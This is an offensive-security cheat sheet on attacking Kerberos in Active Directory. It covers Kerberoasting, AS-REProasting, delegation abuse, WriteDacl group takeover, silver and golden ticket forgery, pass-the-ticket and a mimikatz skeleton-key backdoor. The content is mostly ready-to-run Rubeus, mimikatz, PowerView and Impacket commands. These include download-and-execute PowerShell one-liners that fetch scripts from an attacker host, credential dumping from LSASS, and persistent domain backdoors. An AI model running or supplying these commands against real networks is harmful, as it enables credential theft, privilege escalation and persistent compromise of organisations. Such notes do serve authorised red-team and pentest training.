# Kerberos

## Introduction

This section contains some of the techniques to obtain, crack and craft Kerberos Tickets to perform lateral movements on the network.

## Ticket gathering

Running [Rubeus](https://github.com/GhostPack/Rubeus) with a privileged account can dump tickets stored on the system.

Despite requiring a compilation, you can download the [compiled](https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/raw/master/Rubeus.exe) and the [PowerShell](https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Rubeus.ps1) version.

```bash
# Gathers tickets that are being transferred to the KDC
Rubeus.exe harvest /interval:30 
# Extract current TGTs
Rubeus.exe dump 
```

## Kerberoasting

The technique consists of obtaining the NTLM hash from the TGS (Ticket Granting Service) of any account that has an associated SPN.

You can use any of the following tools.

* Invoke-Rubeus: [Link](https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Rubeus.ps1)
* Invoke-kerberoast: [Link](https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1)

```bash
# Rubeus
IEX(New-Object Net.WebClient).downloadString('http://<ATTACKER_IP>/Invoke-Rubeus.ps1') ; Invoke-Rubeus kerberoast
# Kerberoast
IEX(New-Object Net.WebClient).downloadString('http://<ATTACKER_IP>/Invoke-Kerberoast.ps1') ; Invoke-Kerberoast -OutputFormat {John | Hashcat} [ | % { $_.Hash } | Out-File -Encoding ASCII kerberoast_hashes.txt ]
```

If the attacker has **credentials** but not remote access to the system, it can run `GetUserSPNs.py`.

```bash
GetUserSPNs.py '<Domain>/<Username>:<Password>'  -request -save -outputfile GetUserSPNs.txt -dc-ip $IP
```

**Note**: To obtain the **samaccountname** of the service **pricipalname** run the following command:

```powershell
IEX(New-Object Net.WebClient).downloadString('http://<ATTACKER_IP>/Invoke-Kerberoast.ps1'); Get-NetUser| select samaccountname,serviceprincipalname
```

### Cracking Kerberos Hashes

Once obtained the Kerberos Tickets it is necessary to crack them in order to gain access to the system.

```bash
hashcat -m 13100 GetUserSPNs.txt <WORDLIST> -o <RESULT.txt>
```

## AS-REProasting

Attempt to harvest encrypted TGT, for a later cracking, from users with the attribute `DONT_REQ_PREAUTH` enabled.

```bash
# Modify the hash, so it looks like this "$krb5asrep$23$..." 
.\Rubeus.exe asreproast

# check ASREPRoast for all domain users (credentials required)
python GetNPUsers.py <domain_name>/<domain_user>[:<domain_user_password>] [-no-pass] -request -format {hashcat | john} -outputfile <output_AS_REP_responses_file> 

# check ASREPRoast for a list of users (no credentials required)
python GetNPUsers.py <domain_name> [-usersfile <users_file>] -format {hashcat | john} -outputfile <output_AS_REP_responses_file> [-no-pass]
```

### Cracking password

```bash
hashcat -m 18200 -a 0 <hashes.txt> <wordlist.txt>
```

### User Enum (Abusing Pre-Authentication)

By brute-forcing the Kerberos pre-authentication, you do not trigger an account failed event.

```bash
kerbrute userenum --dc <DOMAIN_IP> -d <DOMAIN> <users.txt>
```

## Unconstrained Delegation

> :information\_source:**Delegation** allows a server to impersonate a client and access network resources on the client's behalf. This is useful in situations where a client needs to access resources that are not directly accessible, such as when accessing a file share on another server.

> :information\_source:In order to exploit this vulnerability, you will need to be administrator on the machine.

This vulnerability arises when a principal account (a user or mainly a computer) is configured with unconstrained delegation privileges, which allows the account to impersonate any user on the network and access any resource that the user has permission to access.

### Cached tickets

If **you have admin access** on a machine with unconstrained delegation, look for some cached krbtgt tickets and extract them.

1\. Enumerate tickets on the machine

```powershell
.\Rubeus.exe triage
```

2\. Extract the ticket you want

<pre class="language-bash"><code class="lang-bash"><strong>.\Rubeus.exe dump /nowrap /luid:&#x3C;LUID> 
</strong></code></pre>

3\. Impersonate the user

```bash
.\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:<DOMAIN> /username:<USER> /password:FakePass /ticket:<TICKET>
```

### Force machines authentication

Another method to take advantage of this vulnerability is by executing one of the following tools so the victim machine interacts with the vulnerable machine, obtaining the machine's TGT, so it be used for lateral movement getting access to the machine as administrator.

1\. Monitor the machine for new TGTs.

> :information\_source: You need to be NT Authority system.
>
> ```bash
> C:\Windows\Tasks\PsExec64.exe -accepteula -s -d -i cmd.exe
> ```

```bash
.\Rubeus.exe monitor /interval:10 /nowrap
```

2\. Coerce the target machine to attempt authenticating to the attacker controlled machine. To do so, there are several alternatives:

* [SharpSpoolTrigger](https://github.com/cube0x0/SharpSystemTriggers) (Executable)

```bash
.\SharpSpoolTrigger.exe <TARGET_HOSTNAME> <LISTENER_HOSTNAME>
```

* [PetitPotam](https://github.com/topotam/PetitPotam) (Executable)

```bash
.\PetitPotam.exe <LISTENER_HOSTNAME> <TARGET_HOSTNAME>
```

* [SpoolSample](https://github.com/leechristensen/SpoolSample)

```bash
.\SpoolSample.exe <TARGET_HOSTNAME> <LISTENER_HOSTNAME>
```

* [Invoke-Spoolsample.ps1](https://github.com/S3cur3Th1sSh1t/PowerSharpPack/blob/master/PowerSharpBinaries/Invoke-Spoolsample.ps1)

```powershell
new-object system.net.webclient).downloadstring('http://<YOUR_IP>/Invoke-Spoolsample.ps1') | IEX
Invoke-Spoolsample -Command "<TARGET_HOSTNAME> <LISTENER_HOSTNAME>"
```

* [printerbug.py](https://github.com/dirkjanm/krbrelayx/tree/master) (Requires domain credentials)

```bash
python3 printerbug.py  <DOMAIN>/<USERNAME>:<PASSWORD>@<TARGET_HOOSTNAME> <LISTENER_HOSTNAME>
```

3\. Perform an S4U request to obtain a usable TGS of an Admin user on the machine.

```bash
.\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:cifs/<TARGET_HOSTNAME> /user:<TARGET_HOSTNAME>$ /nowrap /ticket:<TICKET>
```

4\. Impersonate the user (There are two alternatives)

```powershell
# Create a new process
.\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:<DOMAIN> /username:Administrator /password:FakePass123 /ticket:<TICKET>

# Import the ticket into the process
Invoke-Mimikatz -Command '"kerberos::ptt <KIRBI_FILE>"'
```

5\. Test if you can access the machine

```powershell
ls \\<HOSTNAME>\C$
```

## Constrained Delegation

When constrained delegation is enabled on a service account, it limits the user's access to only specified services on specific computers. This type of delegation is commonly used in scenarios where a user authenticates to a web service without Kerberos and the service needs to make requests to a database server on behalf of the user to retrieve data based on their authorization.

To impersonate a user, Service for User (S4U) extension is used which provides two extensions:

* **Service for User to Self** (S4U2self): Allows a service to obtain a forwardable TGS to itself on behalf of a user.
* **Service for User to Proxy** (S4U2proxy): Allows a service to obtain a TGS to a second service on behalf of a user.

The steps to take advantage of this feature are the following:

1\. Obtain the TGT of the principal (computer or user) trusted for delegation.

```bash
# List the tickets
.\Rubeus.exe triage
# Obtain the ticket
.\Rubeus.exe dump /service:krbtgt /nowrap /luid:<LUID>
```

2\. With the TGT, perform an S4U request to obtain a usable TGS for CIFS. This will perform an S4U2Self first and then an S4U2Proxy.

> * `/impersonateuser` is the user we want to impersonate - they should have local admin access on the target machine. nlamb is a domain admin which is required for accessing the domain controller.
> * `/msdsspn` is the service principal name that SQL-2 is allowed to delegate to.
> * `/user` is the principal allowed to perform the delegation.
> * `/ticket` is the TGT for `/user`.

```powershell
.\Rubeus.exe s4u /impersonateuser:<IMPERSONATE_USER> /msdsspn:<ALLOWED2DELEGATE_SERVICE>/<ALLOWED2DELEGATE_HOSTNAME> /user:<ALLOWED2DELEGATE_HOSTNAME>$ /nowrap /ticket:<TICKET>
```

3\. Impersonate the user (Two alternatives)

```bash
# Create a new process
.\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:<DOMAIN> /username:<IMPERSONATED_USER> /password:FakePass /ticket:<TICKET>

# Import Ticket into the process
Invoke-Mimikatz -Command '"kerberos::ptt <KIRBI_FILE>"'
```

4\. Check that you have access to the machine.

```bash
ls \\<HOSNTAME>\c$
```

## Resource-Based Constrained Delegation (msDS-AllowedToActOnBehalfOfOtherIdentity)

The **two** major **prerequisites** to pull off the attack are:

1. A target computer on which you can modify "msDS-AllowedToActOnBehalfOfOtherIdentity"**.**
2. Control of another principal that has an SPN.

The steps to reproduce the attack are the following:

1\. Look for modifiable ACL permissions

```powershell
Get-DomainComputer | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match "WriteProperty|GenericWrite|GenericAll|WriteDacl" -and $_.SecurityIdentifier -match "S-1-5-21-569305411-121244042-2357301523-[\d]{4,10}" }

# Convert the obtained SID to know the name of the ACL
ConvertFrom-SID <SID>
```

2\. On a domain machine with high privilege, request its SID.

```powershell
Get-DomainComputer -Identity <HOSTNAME> -Properties objectSid
```

3\. Set the object you want to modify, in this case "msDS-AllowedToActOnBehalfOfOtherIdentity".

```powershell
$rsd = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;<OBJECT_SID>)"; $rsdb = New-Object byte[] ($rsd.BinaryLength); $rsd.GetBinaryForm($rsdb, 0); Get-DomainComputer -Identity "<TARGET_HOSTNAME>" | Set-DomainObject -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity' = $rsdb} -Verbose
```

4\. Check that the object has been settled correctly.

```powershell
powershell Get-DomainComputer -Identity "<TARGET_HOSTNAME>" -Properties msDS-AllowedToActOnBehalfOfOtherIdentity
```

5\. From the computer with higher privileges perform the S4U.

```powershell
# Obtain the machine's krbtgt ticket
.\Rubeus.exe triage
.\Rubeus.exe dump /service:krbtgt /nowrap /luid:<MACHINE_LUID>

# Perform the S4u
\Rubeus.exe s4u /user:<MACHINE_WITH_HIGHER_PRIVILEGES>$ /impersonateuser:<USER> /msdsspn:cifs/<HOSTNAME>.<DOMAIN> /nowrap /ticket:<TICKET>
```

6 Pass the ticket to the session.

```powershell
.\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:<DOMAIN> /username:<USER> /password:FakePass /ticket:<TICKET>
```

### Alternate Service Name

On constrained delegation the delegedation occurs not only for the specified service on the target machine but for any service running on the machine under the same account name. There is no validation for the SPN specified in s4u.

Hence, it allows access to different services running on the machine (usually CIFS). To exploit this vulnerability, you can create a TGT with the following command.

```bash
.\Rubeus.exe s4u /ptt /impersonateuser:Administrator /msdsspn:<CONSTRAINED_SERVICE>/<HOSTNAME> /altservice:cifs /ticket:<TICKET>

```

## Resource-Based Constrained Delegation (GenericWrite to Computer)

Having a domain user with GenericWrite into a domain computer implies that it is possible to access the computer as Administrator.&#x20;

1\. Create a fake domain computer and modify the attribute `msds-allowedtoactonbehalfofotheridentity` of the target computer. There are several alternatives to achieve this goal.

* **Alternative 1 - PowerView**

```powershell
# Download dependencias
IEX(new-object system.net.webclient).downloadstring('http://<YOUR_IP>/PowerView.ps1');
IEX(new-object system.net.webclient).downloadstring('http://<YOUR_IP>/Powermad.ps1');
# Create machine
New-MachineAccount -MachineAccount myComputer -Password $(ConvertTo-SecureString 'h4x' -AsPlainText -Force)

# Create AccessControl 
$sid =Get-DomainComputer -Identity myComputer -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($sid))"
$SDbytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDbytes,0)

# Append AccessControl to victim machine
Get-DomainComputer -Identity <VULNERABLE_MACHINE_NAME> | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
```

* **Alternative 2 - AD Module**

```powershell
IEX(new-object system.net.webclient).downloadstring('http://<YOUR_IP>/Powermad.ps1');
IEX(new-object system.net.webclient).downloadstring('http://<YOUR_IP>/PowerView.ps1');

New-MachineAccount -MachineAccount rulon -Password $(ConvertTo-SecureString 'Password123!' -AsPlainText -Force) -Verbose

# If Set-ADComputer, is not recognized it it is necessary to install the  (Requires high privileges)
Enable-WindowsOptionalFeature -FeatureName ActiveDirectory-Powershell -Online -All

Set-ADComputer <VULNERABLE_MACHINE_NAME>  -PrincipalsAllowedToDelegateToAccount rulon$ -Server <DC_IP> -Verbose
```

* **Alternative 3 - Impacket**

```bash
impacket-addcomputer -computer-name 'myComputer$' -computer-pass 'h4x' <DOMAIN>/<USER>:<PASSWORD>

impacket-rbcd -action write -delegate-to "<TARGET_COMPUTER>" -delegate-from "myComputer$" <DOMAIN>/<USER>:<PASSWORD>
```

2\.  Check that the configuration has been applied successfuly, so you can continue with the attack.

> :information\_source: It should appear "myComputer$".

```powershell
$RBCDbytes = Get-DomainComputer <VULNERABLE_MACHINE_NAME>  -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity
$Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RBCDbytes, 0
ConvertFrom-SIDsuccessfully $Descriptor.DiscretionaryAcl.SecurityIdentifier
```

3\.  Impersonate the user Administrator. There are several alternatives to achieve this goal.

* **Rubeus**

```powershell
IEX(new-object system.net.webclient).downloadstring('http://<YOUR_IP>/Invoke-Rubeus.ps1');
Invoke-Rubeus -Command 'hash /password:h4x'
Invoke-Rubeus -Command 's4u /user:myComputer$ /rc4:AA6EAFB522589934A6E5CE92C6438221 /impersonateuser:Administrator /msdsspn:CIFS/<VULNERABLE_MACHINE_NAME_DOMAIN> /domain:<DOMAIN> /dc:<DC_IP> /nowrap /ptt'
```

* **Impacket**

```bash
impacket-getST -spn cifs/<TARGET_HOSNTAME> -impersonate administrator '<DOMAIN>/myComputer$:h4x'
```

4\. Connect to the target machine.

```powershell
# Alternative 1 - Windows
ls \\<VULNERABLE_MACHINE_NAME>\c$

# Alternative 2 - Impacket
export KRB5CCNAME=$(pwd)/administrator.ccache
impacket-psexec administrator@backup01.corp.com -k -no-pass
```

## S4U2Self Abuse

S4U2Self (Service for User to Self) allows a service to obtain a TGS to itself on behalf of a user. While, S4U2Proxy allows the service to obtain a TGS on behalf of a user to a second service.

So, when a client authenticates to the service using, say, NTLM authentication, what the service will do is first send S4U2Self request to get TGS to itself. Then use this TGS with S4U2Proxy to request TGS to another service, impersonating a user on that machine. \
This is because machines do not get remote local admin access to themselves. What we can do instead is abuse S4U2Self to obtain a usable TGS as a user we know **is** a local admin (e.g. a domain admin).

```bash
\Rubeus.exe s4u /impersonateuser:<ADMIN_USER> /nowrap /self /altservice:cifs/<HOSTNAME> /user:<HOSTNAME>$ /ticket:<TICKET>
```

## WriteDacl over a group

If your current user or group has `WriteDacl` over a group, you can modify the group ACLs allowing you to add any member to it.

1\. Enumerate that your current user has `WriteDacl` over a group.

```powershell
Get-DomainUser | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq $("$env:UserDomain\$env:Username")) {$_ | Select-object -Property ObjectDN,ActiveDirectoryRights, AceType, Identity |  Format-List}}}

ObjectDN              : CN=Admins,OU=Groups,DC=corp,DC=com
ActiveDirectoryRights : WriteDacl
AceType               : AccessAllowed
Identity              : CORP\User1
```

2\. Change the ActiveDirectoryRights to "GenericAll".

```powershell
$creds = New-Object System.Management.Automation.PSCredential ("CORP\User1",(ConvertTo-SecureString "PassW0rd!" -AsPlainText -Force))

Add-DomainObjectAcl -TargetIdentity <VICTIM_IDENTITY> -PrincipalIdentity <NEW_USER> -Rights All -Verbose -Credential $creds
```

3\. Add your user to the group.

```powershell
Add-DomainGroupMember -Identity 'Admins' -Members 'User1' -Credential $creds
```

## Tickets

### Silver Ticket (Local)

A Silver Ticket has limited use because it can only allow access to the targeted service. To achieve this you need to dump any service or domain admin ticket.

Dump the hash and the security identifier for the targeted service.

```bash
.\mimikatz.exe "privilege::debug" "lsadump::lsa /inject /name:<serviceName>"
```

Create a silver ticket.

**Note:** The `/user` is the username that will appear on the windows security logs.

```bash
.\mimikatz.exe "kerberos::golden /user:<Administrator> /domain:<domain> /sid:<ServiceSID> /krbtgt:<ServiceHash_NTLM> /id:<ServiceAccountID>"
```

Now you are able to access the computer hosting the service with admin rights using the techniques of passing the ticket.

In order to check that we have admin permissions on the service host, you can use `dir` against the `ADMIN$` share.

```bash
dir \\vulnerable.computer\C$
dir \\vulnerable.computer\ADMIN$
copy afile.txt \\vulnerable.computer\C$\Windows\Temp
```

More ways to access the service machine: [Link](https://book.hacktricks.xyz/windows/active-directory-methodology/silver-ticket)

### Silver Ticket (Remote)

If we are inside a network and have enough information about the victim's service but no access to a machine to craft a ticket with mimikatz, we can **ticketer** to create a silver ticket. But, we need the following requirements:

* NTLM hash: Obtained by obtaining the user's password by cracking the user SPN Ticket, mimizatz, etc. and converting it into NTLM format using a web such as [browserling.com](https://www.browserling.com/tools/ntlm-hash).
* Domain SID: Obtained using rpcclient, LDAP, mimikatz, getPac, etc.
* User-id: Id of the user we want to impersonate, by default, is 500 (Administrator). It can be obtained with the tools mentioned earlier

```bash
ticketer.py -nthash <NTLM_HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN> -spn <SPN_NAME> [-user-id <USER_ID|500>] <USERNAME_FOR_TICKET>
```

Then, we can use this ticket for many impacket tools such as:

```bash
export KRB5CCNAME=<PATH>/<USERNAME_FOR_TICKET>.ccache 
smbclient.py -k -no-pass <MACHINE>
psexec.py -k -no-pass <DOMAIN>/<USERNAME>@<MACHINE>
secretsdump.py -k -no-pass <DOMAIN>/<USERNAME>@<MACHINE>
```

### Golden Ticket

A Golden Ticket allows access to any Kerberos service. In order to achieve this, you need to obtain a ticket from the service account "KRBTGT".

Dump the hash and the security identifier needed to create a Golden Ticket.

```bash
.\mimikatz.exe "privilege::debug" "lsadump::lsa /inject /name:krbtgt"
```

Create a golden ticket.

> **Note:** The `/user` is the username that will appear on the windows security logs.
>
> **Note 2**: The `/id`: The user RID. The default value is 500 (local administrator).

```bash
.\mimikatz.exe "kerberos::golden /user:<Administrator> /domain:<DOMAIN> /sid:<DOMAIN_SID> /krbtgt:<KRBTGT_HTML> /ptt [/id:<ServiceAccountID>]" "exit"
```

### Cracking tickets

Just like kerberoasting, you can crack a ticket to get the SPN account password.

```bash
tgsrepcrack.py <wordlist.txt> <ticket.kirbi>
```

### Pass The Ticket

Dumping TGT from the LSASS memory of the machine. For a later use impersonating the user.

**Exporting tickets**

```bash
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" #Dumping all the tickets en ficheros *.kirbi
```

**Using the tikets**

Linux

```bash
# Set the ticket for impacket use
export KRB5CCNAME=<TGT_ccache_file_path>

# Execute remote commands with any of the following commands by using the TGT
python psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pas
```

**Windows**

```bash
mimikatz.exe "kerberos::ptt <ticket.kirbi>" 
# List tickets, checking it has been imported correctly
klist
# Import the ticket
.\Rubeus.exe ptt /ticket:<ticket_kirbi_file> 
# Execue a remote cmd
.\PsExec.exe -accepteula \\<remote_hostname> cmd 
```

## Skeleton Key backdoor

Implanting a skeleton key that abuses AS-REQ encrypted timestamp validation, allowing you to access to the domain forest.

**Note**: A skeleton key only works using Kerberos RC4 encryption.

```bash
.\mimikatz.exe "privilege::debug" "misc::skeleton"
```

Accessing the forest with the default mimikatz password "mimikatz".

```bash
net use C:\\<DC>\admin$ /user:Administrator mimikatz
```

## References

* [Resource-Based Constrained Delegation](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution)
* [4 Ways to Abuse Constrained Delegation](https://m3rcer.netlify.app/redteaming/constrained_delegation/#alternate-service-name-abuse)
* [Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html)
* [Red Team Ops](https://training.zeropointsecurity.co.uk/courses/red-team-ops)
